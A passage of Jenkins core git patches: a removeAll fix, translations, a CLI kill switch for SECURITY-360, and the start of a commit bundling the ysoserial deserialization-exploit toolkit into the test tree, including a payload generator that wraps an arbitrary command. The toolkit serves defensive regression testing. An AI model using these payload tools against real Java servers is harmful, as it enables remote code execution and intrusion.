import org.junit.Test; import org.jvnet.hudson.test.Issue; @@ -532,6 +533,7 @@ public class JenkinsTest { @Test @Issue("JENKINS-39465") + @Ignore("No JNLP4 for 2.19.3") public void agentProtocols_multipleEnable_roundtrip() throws Exception { final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); Assume.assumeThat("We assume that JNLP3-connect is disabled", -- GitLab From e6db919e5f70bb598de3235cbca00ef0a79302e9 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 10 Nov 2016 14:00:18 -0500 Subject: [PATCH 313/712] [JENKINS-39520] ExtensionList.removeAll is unimplemented (#2612) * Work around SUREFIRE-1226 just like https://github.com/jenkinsci/plugin-pom/pull/33. * [JENKINS-39520] Implement ExtensionList.removeAll. * @oleg-nenashev suggests not notifying listeners unless we are actually removing something. --- core/src/main/java/hudson/ExtensionList.java | 15 +++++++++++++++ test/pom.xml | 1 + test/src/test/java/hudson/ExtensionListTest.java | 13 +++++++++++++ 3 files changed, 29 insertions(+) diff --git a/core/src/main/java/hudson/ExtensionList.java b/core/src/main/java/hudson/ExtensionList.java index 8cf98253dc..f2fcab81d4 100644 --- a/core/src/main/java/hudson/ExtensionList.java +++ b/core/src/main/java/hudson/ExtensionList.java @@ -204,6 +204,21 @@ public class ExtensionList extends AbstractList implements OnMaster { } } + @Override + public boolean removeAll(Collection c) { + boolean removed = false; + try { + for (Object o : c) { + removed |= removeSync(o); + } + return removed; + } finally { + if (extensions != null && removed) { + fireOnChangeListeners(); + } + } + } + private synchronized boolean removeSync(Object o) { boolean removed = removeComponent(legacyInstances, o); if(extensions!=null) { diff --git a/test/pom.xml b/test/pom.xml index 32af02cabb..f5e72fd4f2 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -40,6 +40,7 @@ THE SOFTWARE. 2 false + false diff --git a/test/src/test/java/hudson/ExtensionListTest.java b/test/src/test/java/hudson/ExtensionListTest.java index 398b7502ad..459e4b843f 100644 --- a/test/src/test/java/hudson/ExtensionListTest.java +++ b/test/src/test/java/hudson/ExtensionListTest.java @@ -10,12 +10,14 @@ import jenkins.model.Jenkins; import hudson.model.Descriptor; import hudson.model.Describable; import hudson.util.DescriptorList; +import java.util.ArrayList; import java.util.List; import java.util.Collection; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.WithoutJenkins; @@ -204,4 +206,15 @@ public class ExtensionListTest { assertEquals("mazda",list.get(1).name); assertEquals("toyota",list.get(2).name); } + + @Issue("JENKINS-39520") + @Test + public void removeAll() { + ExtensionList list = ExtensionList.lookup(Animal.class); + assertTrue(list.removeAll(new ArrayList<>(list))); + assertEquals(0, list.size()); + assertFalse(list.removeAll(new ArrayList<>(list))); + assertEquals(0, list.size()); + } + } -- GitLab From 7a948d399585d201c4132597aed5723a495acf69 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Thu, 10 Nov 2016 22:14:44 +0100 Subject: [PATCH 314/712] Update remoting to 2.31 in the Jenkins core. (#2628) The change introduces one serious bugfix (JENKINS-39596) and a bunch of various diagnostics improvements. Bugfixes: * [JENKINS-39596](https://issues.jenkins-ci.org/browse/JENKINS-39596) - Jenkins URL in `hudson.remoting.Engine` was always `null` since `3.0`. It was causing connection failures of Jenkins JNLP agents when using Java Web Start. ([PR #131](https://github.com/jenkinsci/remoting/pull/131)) * [JENKINS-39617](https://issues.jenkins-ci.org/browse/JENKINS-39617) - `hudson.remoting.Engine` was failing to establish connection if one of the URLs parameter in parameters was malformed. ([PR #131](https://github.com/jenkinsci/remoting/pull/131)) Improvements: * [JENKINS-39150](https://issues.jenkins-ci.org/browse/JENKINS-39150) - Add logic for dumping diagnostics across all the channels. ([PR #122](https://github.com/jenkinsci/remoting/pull/122), [PR #125](https://github.com/jenkinsci/remoting/pull/125)) * [JENKINS-39543](https://issues.jenkins-ci.org/browse/JENKINS-39543) - Improve the caller/callee correlation diagnostics in thread dumps. ([PR #119](https://github.com/jenkinsci/remoting/pull/119)) * [JENKINS-39290](https://issues.jenkins-ci.org/browse/JENKINS-39290) - Add the `org.jenkinsci.remoting.nio.NioChannelHub.disabled` flag for disabling NIO (mostly for debugging purposes). ([PR #123](https://github.com/jenkinsci/remoting/pull/123)) * [JENKINS-38692](https://issues.jenkins-ci.org/browse/JENKINS-38692) - Add extra logging to help diagnosing `IOHub` Thread spikes. ([PR #116](https://github.com/jenkinsci/remoting/pull/116)) * [JENKINS-39289](https://issues.jenkins-ci.org/browse/JENKINS-39289) - When a proxy fails, report what caused the channel to go down. ([PR #128](https://github.com/jenkinsci/remoting/pull/128)) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 52d7cbe5a9..6086a96fe4 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.0 + 3.1 -- GitLab From fec9c14b8d22e2fe0a0c33d587ca2557be62141d Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Fri, 11 Nov 2016 00:39:28 +0100 Subject: [PATCH 315/712] Polish translations --- .../hudson/scm/Messages_pl.properties | 24 ++++++++++++++ .../hudson/triggers/Messages_pl.properties | 32 +++++++++++++++++++ .../project/config-builders_pl.properties | 23 +++++++++++++ .../project/config-publishers2_pl.properties | 23 +++++++++++++ .../hudson/project/config-scm_pl.properties | 2 +- .../project/config-trigger_pl.properties | 22 +++++++++++++ 6 files changed, 125 insertions(+), 1 deletion(-) create mode 100644 core/src/main/resources/hudson/scm/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/triggers/Messages_pl.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-builders_pl.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-trigger_pl.properties diff --git a/core/src/main/resources/hudson/scm/Messages_pl.properties b/core/src/main/resources/hudson/scm/Messages_pl.properties new file mode 100644 index 0000000000..89b69764f0 --- /dev/null +++ b/core/src/main/resources/hudson/scm/Messages_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +NullSCM.DisplayName=Brak +SCM.Permissions.Title=Repozytorium kodu +SCM.TagPermission.Description=To uprawnienie pozwala u\u017Cytkownikom tworzy\u0107w repozytorium kodu etykiety dla danego budowania. diff --git a/core/src/main/resources/hudson/triggers/Messages_pl.properties b/core/src/main/resources/hudson/triggers/Messages_pl.properties new file mode 100644 index 0000000000..68191b91ca --- /dev/null +++ b/core/src/main/resources/hudson/triggers/Messages_pl.properties @@ -0,0 +1,32 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +SCMTrigger.DisplayName=Pobierz z repozytorium kodu +SCMTrigger.getDisplayName={0} Rejestr pobrania z repozytorium kodu +SCMTrigger.BuildAction.DisplayName=Rejestr pobrania z repozytorium kodu +SCMTrigger.SCMTriggerCause.ShortDescription=Uruchomione przez zmian\u0119 w repozytorium kodu +TimerTrigger.DisplayName=Buduj cyklicznie +TimerTrigger.MissingWhitespace=Wygl\u0105da, \u017Ce brakuje odst\u0119pu mi\u0119dzy * a *. +TimerTrigger.no_schedules_so_will_never_run=Brak harmonogramu, wi\u0119c nie zostanie nigdy uruchomiony +TimerTrigger.TimerTriggerCause.ShortDescription=Uruchomione przez zegar +TimerTrigger.would_last_have_run_at_would_next_run_at=Ostatnio uruchomione o {0}; kolejne uruchomienie o {1}. +Trigger.init=Inicjalizowanie zegara dla wyzwalaczy +SCMTrigger.AdministrativeMonitorImpl.DisplayName=Zbyt wiele w\u0105tk\u00F3w repozytorium kodu diff --git a/core/src/main/resources/lib/hudson/project/config-builders_pl.properties b/core/src/main/resources/lib/hudson/project/config-builders_pl.properties new file mode 100644 index 0000000000..2f4402e55b --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-builders_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Build=Budowanie +Add\ build\ step=Dodaj krok budowania diff --git a/core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties b/core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties new file mode 100644 index 0000000000..8023115a6b --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-publishers2_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Add\ post-build\ action=Dodaj akcje po budowaniu +Post-build\ Actions=Akcje po budowaniu diff --git a/core/src/main/resources/lib/hudson/project/config-scm_pl.properties b/core/src/main/resources/lib/hudson/project/config-scm_pl.properties index e0d39300b5..b8de9075d4 100644 --- a/core/src/main/resources/lib/hudson/project/config-scm_pl.properties +++ b/core/src/main/resources/lib/hudson/project/config-scm_pl.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Source\ Code\ Management=Repozytorium kodu \u017Ar\u00F3d\u0142owego +Source\ Code\ Management=Repozytorium kodu diff --git a/core/src/main/resources/lib/hudson/project/config-trigger_pl.properties b/core/src/main/resources/lib/hudson/project/config-trigger_pl.properties new file mode 100644 index 0000000000..f1fcb581d4 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-trigger_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Build\ Triggers=Wyzwalacze budowania -- GitLab From cfc9491e297687b2f721f3e6c60ede613cea13d3 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 12:42:46 -0800 Subject: [PATCH 316/712] Fixing this back to 2.53.3 as the baseline --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 9c5d559d77..e786af5edd 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.3-20160211.162333-3 + 2.53.3 -- GitLab From fde9c42fe05ac925a904b6c09a81d497d0e6ccea Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 12:54:32 -0800 Subject: [PATCH 317/712] [SECURITY-360] introduce a system switch to kill CLI This basically is a convenient version of https://github.com/jenkinsci-cert/SECURITY-218. During the course of discussing how to fix SECURITY-360, it was agreed by the CERT team that we provide this switch. --- core/src/main/java/hudson/cli/CLIAction.java | 3 +- .../src/main/java/hudson/cli/CliProtocol.java | 2 +- .../main/java/hudson/cli/CliProtocol2.java | 2 +- core/src/main/java/jenkins/CLI.java | 17 +++++ test/src/test/java/jenkins/CLITest.java | 65 +++++++++++++++++++ 5 files changed, 85 insertions(+), 4 deletions(-) create mode 100644 core/src/main/java/jenkins/CLI.java create mode 100644 test/src/test/java/jenkins/CLITest.java diff --git a/core/src/main/java/hudson/cli/CLIAction.java b/core/src/main/java/hudson/cli/CLIAction.java index 50e5dad25b..e277979f2b 100644 --- a/core/src/main/java/hudson/cli/CLIAction.java +++ b/core/src/main/java/hudson/cli/CLIAction.java @@ -62,12 +62,11 @@ public class CLIAction implements UnprotectedRootAction, StaplerProxy { } public String getDisplayName() { - return "Jenkins CLI"; } public String getUrlName() { - return "cli"; + return jenkins.CLI.DISABLED ? null : "cli"; } public void doCommand(StaplerRequest req, StaplerResponse rsp) throws ServletException, IOException { diff --git a/core/src/main/java/hudson/cli/CliProtocol.java b/core/src/main/java/hudson/cli/CliProtocol.java index eecb4c5faf..89af3a0f21 100644 --- a/core/src/main/java/hudson/cli/CliProtocol.java +++ b/core/src/main/java/hudson/cli/CliProtocol.java @@ -32,7 +32,7 @@ public class CliProtocol extends AgentProtocol { @Override public String getName() { - return "CLI-connect"; + return jenkins.CLI.DISABLED ? null : "CLI-connect"; } @Override diff --git a/core/src/main/java/hudson/cli/CliProtocol2.java b/core/src/main/java/hudson/cli/CliProtocol2.java index 0f2757df78..7239f71516 100644 --- a/core/src/main/java/hudson/cli/CliProtocol2.java +++ b/core/src/main/java/hudson/cli/CliProtocol2.java @@ -24,7 +24,7 @@ import java.security.Signature; public class CliProtocol2 extends CliProtocol { @Override public String getName() { - return "CLI2-connect"; + return jenkins.CLI.DISABLED ? null : "CLI2-connect"; } @Override diff --git a/core/src/main/java/jenkins/CLI.java b/core/src/main/java/jenkins/CLI.java new file mode 100644 index 0000000000..970e59dc62 --- /dev/null +++ b/core/src/main/java/jenkins/CLI.java @@ -0,0 +1,17 @@ +package jenkins; + +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +/** + * Kill switch to disable the entire Jenkins CLI system. + * + * Marked as no external use because the CLI subsystem is nearing EOL. + * + * @author Kohsuke Kawaguchi + */ +@Restricted(NoExternalUse.class) +public class CLI { + // non-final to allow setting from $JENKINS_HOME/init.groovy.d + public static boolean DISABLED = Boolean.getBoolean(CLI.class.getName()+".disabled"); +} diff --git a/test/src/test/java/jenkins/CLITest.java b/test/src/test/java/jenkins/CLITest.java new file mode 100644 index 0000000000..054d4df5a1 --- /dev/null +++ b/test/src/test/java/jenkins/CLITest.java @@ -0,0 +1,65 @@ +package jenkins; + +import hudson.cli.FullDuplexHttpStream; +import hudson.model.Computer; +import hudson.model.Failure; +import hudson.remoting.Channel; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import java.io.FileNotFoundException; +import java.net.URL; + +import static org.junit.Assert.*; + +/** + * @author Kohsuke Kawaguchi + */ +public class CLITest { + @Rule + public JenkinsRule j = new JenkinsRule(); + + /** + * Checks if the kill switch works correctly + */ + @Test + public void killSwitch() throws Exception { + // this should succeed, as a control case + makeHttpCall(); + makeJnlpCall(); + + CLI.DISABLED = true; + try { + try { + makeHttpCall(); + fail("Should have been rejected"); + } catch (FileNotFoundException e) { + // attempt to make a call should fail + } + try { + makeJnlpCall(); + fail("Should have been rejected"); + } catch (Exception e) { + // attempt to make a call should fail + e.printStackTrace(); + + // the current expected failure mode is EOFException, though we don't really care how it fails + } + } finally { + CLI.DISABLED = false; + } + } + + private void makeHttpCall() throws Exception { + FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.getURL(), "cli")); + Channel ch = new Channel("test connection", Computer.threadPoolForRemoting, con.getInputStream(), con.getOutputStream()); + ch.close(); + } + + private void makeJnlpCall() throws Exception { + int r = hudson.cli.CLI._main(new String[]{"-s",j.getURL().toString(), "version"}); + if (r!=0) + throw new Failure("CLI failed"); + } +} -- GitLab From 8395b78c83c8bb436430e2faa4a032fc9a714fcc Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 16:50:14 -0500 Subject: [PATCH 318/712] Mostly working ysoserial updates --- test/pom.xml | 5 + .../security218/ysoserial/Deserializer.java | 34 ++ .../ysoserial/GeneratePayload.java | 66 ++++ .../security218/ysoserial/Serializer.java | 30 ++ .../exploit/JRMPClassLoadingListener.java | 50 +++ .../ysoserial/exploit/JRMPClient.java | 141 ++++++++ .../ysoserial/exploit/JRMPListener.java | 316 ++++++++++++++++++ .../security218/ysoserial/exploit/JSF.java | 80 +++++ .../ysoserial/exploit/JenkinsCLI.java | 124 +++++++ .../ysoserial/exploit/JenkinsListener.java | 215 ++++++++++++ .../ysoserial/exploit/JenkinsReverse.java | 80 +++++ .../ysoserial/exploit/RMIRegistryExploit.java | 52 +++ .../ysoserial/payloads/BeanShell1.java | 51 +++ .../ysoserial/payloads/CommonsBeanutils1.java | 42 +++ .../payloads/CommonsCollections3.java | 66 ++++ .../payloads/CommonsCollections4.java | 62 ++++ .../payloads/CommonsCollections5.java | 87 +++++ .../payloads/CommonsCollections6.java | 107 ++++++ .../payloads/DynamicDependencies.java | 10 + .../ysoserial/payloads/FileUpload1.java | 112 +++++++ .../ysoserial/payloads/JRMPClient.java | 82 +++++ .../ysoserial/payloads/JRMPListener.java | 55 +++ .../security218/ysoserial/payloads/JSON1.java | 119 +++++++ .../ysoserial/payloads/JavassistWeld1.java | 79 +++++ .../ysoserial/payloads/Jdk7u21.java | 93 ++++++ .../ysoserial/payloads/Jython1.java | 106 ++++++ .../ysoserial/payloads/MozillaRhino1.java | 66 ++++ .../ysoserial/payloads/Myfaces1.java | 92 +++++ .../ysoserial/payloads/Myfaces2.java | 64 ++++ .../ysoserial/payloads/ObjectPayload.java | 98 +++++- .../payloads/ReleaseableObjectPayload.java | 11 + .../ysoserial/payloads/Spring2.java | 75 +++++ .../ysoserial/payloads/Wicket1.java | 111 ++++++ .../payloads/annotation/Dependencies.java | 24 ++ .../payloads/annotation/PayloadTest.java | 19 ++ .../ysoserial/payloads/util/ClassFiles.java | 44 +++ .../ysoserial/payloads/util/Gadgets.java | 156 +++++++++ .../ysoserial/payloads/util/JavaVersion.java | 36 ++ .../payloads/util/PayloadRunner.java | 44 +++ .../ysoserial/payloads/util/Reflections.java | 53 +++ .../secmgr/DelegateSecurityManager.java | 215 ++++++++++++ .../secmgr/ExecCheckingSecurityManager.java | 87 +++++ .../secmgr/ThreadLocalSecurityManager.java | 33 ++ 43 files changed, 3487 insertions(+), 5 deletions(-) create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java diff --git a/test/pom.xml b/test/pom.xml index c68107f182..9b4f79095c 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -183,6 +183,11 @@ THE SOFTWARE. mockito-core test + + org.reflections + reflections + 0.9.9 + org.netbeans.modules org-netbeans-insane diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java new file mode 100755 index 0000000000..87f947d004 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java @@ -0,0 +1,34 @@ +package jenkins.security.security218.ysoserial; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.util.concurrent.Callable; + +public class Deserializer implements Callable { + private final byte[] bytes; + + public Deserializer(byte[] bytes) { this.bytes = bytes; } + + public Object call() throws Exception { + return deserialize(bytes); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + + public static void main(String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Object object = deserialize(in); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java new file mode 100644 index 0000000000..ce33b97ae3 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial; + +import java.io.PrintStream; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; + +@SuppressWarnings("rawtypes") +public class GeneratePayload { + + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] args) { + if (args.length != 2) { + printUsage(); + System.exit(USAGE_CODE); + } + final String payloadType = args[0]; + final String command = args[1]; + + final Class payloadClass = Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + return; // make null analysis happy + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + PrintStream out = System.out; + Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); + System.err.println("\tAvailable payload types:"); + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize + for (Class payloadClass : payloadClasses) { + System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); + } + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java new file mode 100755 index 0000000000..e508fa6420 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java @@ -0,0 +1,30 @@ +package jenkins.security.security218.ysoserial; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import 